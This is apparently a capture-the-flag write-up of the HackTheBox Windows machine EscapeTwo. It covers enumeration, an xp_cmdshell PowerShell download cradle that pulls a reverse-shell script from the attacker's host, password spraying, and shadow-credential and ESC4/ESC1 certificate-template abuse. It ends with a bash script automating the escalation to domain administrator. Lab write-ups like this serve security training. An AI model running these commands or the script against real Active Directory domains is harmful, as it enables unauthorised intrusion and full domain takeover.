Table of Contents

EscapeTwo is an easy HTB Windows machine. I had a lot of fun with this machine and enjoyed creating a bash script to perform the entire exploit chain.

It differs from normal machines in that you are given credentials to begin with:

rose / KxEPkKe6R8su

nmap

We begin by doing a fast nmap scan of all ports and the output shows that this is an active directory windows hosts running ms-sql, and with winrm enabled.

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ sudo nmap 10.10.11.51 -p- --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 02:05 EDT
Nmap scan report for 10.10.11.51
Host is up (0.017s latency).
Not shown: 65510 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49691/tcp open  unknown
49696/tcp open  unknown
49720/tcp open  unknown
49729/tcp open  unknown
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ sudo nmap 10.10.11.51 -p 389,445,1433,5985 -sC -sV 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 22:40 EDT
Nmap scan report for dc01.sequel.htb (10.10.11.51)
Host is up (0.018s latency).

PORT     STATE SERVICE       VERSION
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-19T02:40:53+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Initial nmap scans show that this machine is called DC01.sequel.htb and the domain is sequel.htb. I’ll add that to my hosts file:

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ sudo sh -c 'echo "10.10.11.51 dc01.sequel.htb sequel.htb" >> /etc/hosts'

In addition to the expected Kerberos, LDAP and Active Directory Services, there is an SQL Server running on port 1433, and WinRM port 5985 is open.

With valid credentials, SMB and LDAP are definitely worth looking into. The SQL Server, Kerberos, and WinRM are also worth checking afterwards especially if rose is a member of Remote management users.

LDAP

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ ldapsearch -H ldap://sequel.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=sequel,DC=htb
namingcontexts: CN=Configuration,DC=sequel,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
namingcontexts: DC=DomainDnsZones,DC=sequel,DC=htb
namingcontexts: DC=ForestDnsZones,DC=sequel,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Nothing that we didn’t already know.

Let’s run an ldapsearch with rose’s credentials:

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ ldapsearch -H ldap://sequel.htb -U rose -w KxEPkKe6R8su -b "DC=sequel,DC=htb" > ldap.txt

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep userPrincipalName
userPrincipalName: michael@sequel.htb
userPrincipalName: ryan@sequel.htb
userPrincipalName: oscar@sequel.htb
userPrincipalName: sql_svc@sequel.htb
userPrincipalName: rose@sequel.htb
userPrincipalName: ca_svc@sequel.htb

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'cn: Domain Admins' -C 5 | grep member
member: CN=Administrator,CN=Users,DC=sequel,DC=htb

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'cn: Remote Management' -C 5 | grep member    
member: CN=Ryan Howard,CN=Users,DC=sequel,DC=htb

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'description' 

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ cat ldap.txt | grep 'userPrincipalName: ca_svc' -B 34 -A 7
# Certification Authority, Users, sequel.htb
dn: CN=Certification Authority,CN=Users,DC=sequel,DC=htb
memberOf: CN=Cert Publishers,CN=Users,DC=sequel,DC=htb

We find that there is a Certification Authority that is a member of the group Cert Publishers, that Ryan Howard is a member of Remote Management users, and will be able to use WinRM. We also checked the description fields but nothing juicy.

SMB

Using crackmapexec, lets see if rose has any shares available.

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb sequel.htb -u rose -p "KxEPkKe6R8su" --shares
SMB         dc01.sequel.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         dc01.sequel.htb 445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         dc01.sequel.htb 445    DC01             [+] Enumerated shares
SMB         dc01.sequel.htb 445    DC01             Share           Permissions     Remark
SMB         dc01.sequel.htb 445    DC01             -----           -----------     ------
SMB         dc01.sequel.htb 445    DC01             Accounting Department READ            
SMB         dc01.sequel.htb 445    DC01             ADMIN$                          Remote Admin
SMB         dc01.sequel.htb 445    DC01             C$                              Default share
SMB         dc01.sequel.htb 445    DC01             IPC$            READ            Remote IPC
SMB         dc01.sequel.htb 445    DC01             NETLOGON        READ            Logon server share 
SMB         dc01.sequel.htb 445    DC01             SYSVOL          READ            Logon server share 
SMB         dc01.sequel.htb 445    DC01             Users           READ            
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb sequel.htb -u rose -p "KxEPkKe6R8su" --spider "Accounting Department" --regex .
SMB         dc01.sequel.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         dc01.sequel.htb 445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         dc01.sequel.htb 445    DC01             [*] Started spidering
SMB         dc01.sequel.htb 445    DC01             [*] Spidering .
SMB         dc01.sequel.htb 445    DC01             //dc01.sequel.htb/Accounting Department/. [dir]
SMB         dc01.sequel.htb 445    DC01             //dc01.sequel.htb/Accounting Department/.. [dir]
SMB         dc01.sequel.htb 445    DC01             //dc01.sequel.htb/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB         dc01.sequel.htb 445    DC01             //dc01.sequel.htb/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]

Sure enough she does, so we can use smbclient to grab those files.

smbclient '//dc01.sequel.htb/Accounting Department/' -U rose%KxEPkKe6R8su
smb: \> get accounting_2024.xlsx 
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (134.8 KiloBytes/sec) (average 134.8 KiloBytes/sec)
smb: \> get accounts.xlsx 
getting file \accounts.xlsx of size 6780 as accounts.xlsx (81.7 KiloBytes/sec) (average 107.1 KiloBytes/sec)

These files appear to be corrupted but I used the Open and Repair option in excel and voila:

accounts.xls

How thoughtful to keep the MS SQL sa account credentials in a spreadsheet for us.

SQL Command Execution and Reverse Shell

After generating a Powershell #3 (Base64) reverse shell at revshells.com, impackets-mssqlclient can be used to establish a reverse shell.

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.10.11.51
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'powershell -Command "IEX (New-Object Net.WebClient).DownloadString(''http://10.10.14.13:8080/revshell.ps1'')"'
┌──(kalikali)-[~/htb]
└─$ nc -lvnp 9001   
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.51] 50721

After a really far, far too long amount of time spent looking for config files in program files with no joy, I realised they were located in the C:\SQL2019 directory.

PS C:\SQL2019\ExpressAdv_ENU> cat sql-Configuration.ini
...
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="W..b3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
...

User Flag

With nothing else appearing in WinPEAS, no apparently exploitable permissions, I was stuck until I tried a password spray which really should have been the first thing I tried with a password:

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb dc01.sequel.htb -u users.txt -p W..b3
SMB         dc01.sequel.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
...
SMB         dc01.sequel.htb 445    DC01             [+] sequel.htb\ryan:W..b3

Given that LDAP recon revealed Ryan was in Remote Management Users WinRM was available in ports, we should be able to establish a shell as Ryan with evil-winrm and grab the user key.

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ evil-winrm -u 'ryan' -p 'W..b3' -i dc01.sequel.htb                        
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..
*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> ls


    Directory: C:\Users\ryan\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        4/17/2025  11:04 PM             34 user.txt

DACLs

Although I was tempted to use Bloodhound here, and earlier, I am trying to get better with PowerView.

I began with the Find-InterestingDomainAcl function which can give a huge amount of info to sort through but luckily for me something interesting appeared right at the bottom of the list.

ObjectDN                : CN=Certification Authority,CN=Users,DC=sequel,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : WriteOwner
ObjectAceType           : None
AceFlags                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-548670397-972687484-3496335370-1114
IdentityReferenceName   : ryan
IdentityReferenceDomain : sequel.htb
IdentityReferenceDN     : CN=Ryan Howard,CN=Users,DC=sequel,DC=htb
IdentityReferenceClass  : user

A better way to do this would be to specifically look for Ryan’s ACL’s by SID.

$SID = Get-DomainUser -Identity ryan | Select-Object -ExpandProperty ObjectSid
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $SID}


AceType               : AccessAllowed
ObjectDN              : CN=Certification Authority,CN=Users,DC=sequel,DC=htb
ActiveDirectoryRights : WriteOwner
OpaqueLength          : 0
ObjectSID             : S-1-5-21-548670397-972687484-3496335370-1607
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-548670397-972687484-3496335370-1114
AccessMask            : 524288
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

Either way, we quickly discover that Ryan has WriteOwner permissions for the ca_svc account. With WriteOwner permissions we can change the Owner of the account, then give ourselves Full Control of the account, and check out the certificates for possible exploitation.

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p Wq..b3 set owner ca_svc ryan                                   
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ python3 impacket/dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan'
Impacket v0.12.0.dev1 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] DACL modified successfully!

Certificate Abuse

Certipy-ad’s shadow command is useful for taking over an account when you can write to the msDS-KeyCredentialLink attribute of the account, which Full Control allows us to do. The shadow command has an auto action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.

┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'W..b3' -account ca_svc -dc-ip 10.10.11.51 -ns 10.10.11.51 -target 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '17f87fc9-7a43-7c1c-ac08-90ac7c08c045'
[*] Adding Key Credential with device ID '17f87fc9-7a43-7c1c-ac08-90ac7c08c045' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '17f87fc9-7a43-7c1c-ac08-90ac7c08c045' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b..ce

Although we have the hash, certipy also generated a kerberos credential file. I had seen on this blog https://notes.benheater.com/books/active-directory/page/kerberos-authentication-from-kali a way to save a custom kerberos configuration and auth to winrm with it, so I wanted to trying using kerberos from here on instead of the hash. Let’s run a search for vulnerable templates:

┌──(kali㉿kali)-[~/htb/escapetwo/impacket]
└─$ KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target dc01.sequel.htb -dc-ip 10.10.11.51 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
...
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

An ESC4 vulnerability exists. ESC4 is when a user has write privileges over a certificate template, in this case, the DunderMifflinAuthentication template. We can use Certipy-AD’s template function to modify the template, making it vulnerable to an ESC1 attack.

ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN). So we can then request a certificate for the local administrator account on DC01 using the modified template, and then Certipy-AD can use that certificate to provide us with a kerberos .ccache file for the administrator account.

Simple right? However I had some real issues getting the ESC4 attack to actually work - with both the ownership of ca_svc and other parts of the process continuing to apply, then revert, in some cases nearly instantly. I think there was some kind of script running to reset / remove the permissions on ca_svc, so I decided to script the exploit chain to complete all steps before they could revert. And, because I am a noob at Bash scripting I wanted to practise making it pretty and paramaterised.

The core of the script is:

  1. Use bloodyAD to change owner of ca_svc to Ryan.
  2. Use impacket-dacledit to grant Full Control of ca_svc to Ryan.
  3. Use Certipy-AD’s shadow auto function to create a ca_svc.ccache kerberos authentication file.
  4. Exploit ESC4 to modify the DunderMifflinAuthentication template using Certipy-AD’s template function to make it vulnerable to ESC1.
  5. Request a new certificate as the administrator account.
  6. Create a krb5.conf file and then use the certificate to create kerberos file.
  7. Authenticate to WinRM using kerberos.
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ ./sequel_htb_exploit.sh 
[*] Starting Sequel HTB exploitation chain...
[+] Adding host entries to /etc/hosts...
    ✓ Hosts file updated
[+] Setting ownership of ca_svc to ryan...
    ✓ Done
[+] Setting FullControl rights for ryan on ca_svc...
    ✓ Done
[+] Performing shadow credentials attack on ca_svc...
    ✓ Done
[+] Modifying certificate template...
    ✓ Done
[+] Requesting certificate as administrator...
    ✓ Done
[+] Authenticating with certificate...
    ✓ Done
[+] Creating custom Kerberos configuration...
    ✓ Custom Kerberos configuration created
[+] Kerberos environment configured
[*] Launching Evil-WinRM session with Kerberos authentication...
[*] You will now have an interactive shell. Use 'exit' to close the session when done.
--------------------------------------------------------
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
cat C:\users\Administrator\Desktop\root.txt

Exploit script

#!/bin/bash

# Configuration variables
TARGET_IP="10.10.11.51"
DC_HOSTNAME="DC01"
DOMAIN="sequel.htb"
FQDN="${DC_HOSTNAME}.${DOMAIN}"
USER="ryan"
PASSWORD="W..b3"
TARGET_ACCOUNT="ca_svc"
TEMPLATE_NAME="DunderMifflinAuthentication"
CA_NAME="sequel-DC01-CA"
HASH="3b..ce"
PFX_FILE="administrator_10.pfx"

# Function to update hosts file
update_hosts() {
    echo "[+] Adding host entries to /etc/hosts..."
    if ! grep -q "$TARGET_IP $FQDN $DOMAIN" /etc/hosts; then
        sudo sh -c "echo \"$TARGET_IP $FQDN $DOMAIN\" >> /etc/hosts"
        echo "    ✓ Hosts file updated"
    else
        echo "    ✓ Hosts entries already exist"
    fi
}

# Function to execute commands with hidden output but show progress
execute() {
    local description="$1"
    local command="$2"
    
    echo "[+] $description..."
    eval "$command" > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "    ✓ Done"
    else
        echo "    ✗ Failed"
    fi
}

# Function to execute expect commands with hidden output
expect_execute() {
    local description="$1"
    local expect_script="$2"
    
    echo "[+] $description..."
    expect -c "log_user 0; $expect_script" > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "    ✓ Done"
    else
        echo "    ✗ Failed"
    fi
}

# Main exploit sequence
echo "[*] Starting Sequel HTB exploitation chain..."

# Update hosts file first
update_hosts

execute "Setting ownership of $TARGET_ACCOUNT to $USER" \
        "bloodyAD --host $FQDN -d $DOMAIN -u $USER -p '$PASSWORD' set owner $TARGET_ACCOUNT $USER"

expect_execute "Setting FullControl rights for $USER on $TARGET_ACCOUNT" \
              "spawn python3 ./impacket/dacledit.py -action write -rights FullControl -principal $USER -target $TARGET_ACCOUNT $DOMAIN/$USER; expect \"Password:\"; send \"$PASSWORD\\r\"; expect eof"

execute "Performing shadow credentials attack on $TARGET_ACCOUNT" \
        "certipy-ad shadow auto -u '$USER@$DOMAIN' -p '$PASSWORD' -account $TARGET_ACCOUNT -dc-ip $TARGET_IP -ns $TARGET_IP -target $FQDN"

execute "Modifying certificate template" \
        "KRB5CCNAME=\$PWD/${TARGET_ACCOUNT}.ccache certipy-ad template -k -template $TEMPLATE_NAME -target $FQDN -dc-ip $TARGET_IP"

execute "Requesting certificate as administrator" \
        "certipy-ad req -u $TARGET_ACCOUNT -hashes $HASH -ca $CA_NAME -template $TEMPLATE_NAME -target $FQDN -dc-ip $TARGET_IP -dns $TARGET_IP -ns $TARGET_IP -upn Administrator@$DOMAIN"

expect_execute "Authenticating with certificate" \
              "spawn certipy-ad auth -pfx $PFX_FILE -dc-ip $TARGET_IP; expect \":\"; send \"0\\r\"; expect eof"

# Create custom krb5.conf
echo "[+] Creating custom Kerberos configuration..."
LOWER_REALM=$DOMAIN
UPPER_REALM=$(echo "$LOWER_REALM" | tr '[:lower:]' '[:upper:]')

cat << EOF | sed \
-e "s/{{REALM_PLACEHOLDER}}/$UPPER_REALM/g" \
-e "s/{{realm_placeholder}}/$LOWER_REALM/g" \
-e "s/{{dc_hostname}}/$DC_HOSTNAME/g" > custom_krb5.conf
[libdefaults]
    default_realm = {{REALM_PLACEHOLDER}}
    dns_lookup_realm = true
    dns_lookup_kdc = true
[realms]
    {{REALM_PLACEHOLDER}} = {
        kdc = {{dc_hostname}}.{{realm_placeholder}}
        admin_server = {{dc_hostname}}.{{realm_placeholder}}
        default_domain = {{dc_hostname}}.{{realm_placeholder}}
    }
[domain_realm]
    {{realm_placeholder}} = {{REALM_PLACEHOLDER}}
    .{{realm_placeholder}} = {{REALM_PLACEHOLDER}}
EOF

# Verify the config file was created correctly
if [ -s custom_krb5.conf ]; then
    echo "    ✓ Custom Kerberos configuration created"
else
    echo "    ✗ Failed to create Kerberos configuration"
    exit 1
fi

# Export KRB5_CONFIG
export KRB5_CONFIG="$PWD/custom_krb5.conf"
echo "[+] Kerberos environment configured"

# Launch interactive shell with error handling
echo "[*] Launching Evil-WinRM session with Kerberos authentication..."
echo "[*] You will now have an interactive shell. Use 'exit' to close the session when done."
echo "--------------------------------------------------------"

# Run evil-winrm in a way that captures its exit status but doesn't show the error
KRB5CCNAME=$PWD/administrator.ccache evil-winrm -i $FQDN -r $DOMAIN || true

# Clean up message regardless of how evil-winrm exits
echo ""
echo "[*] Evil-WinRM session ended"
echo "[*] Exploitation chain completed successfully"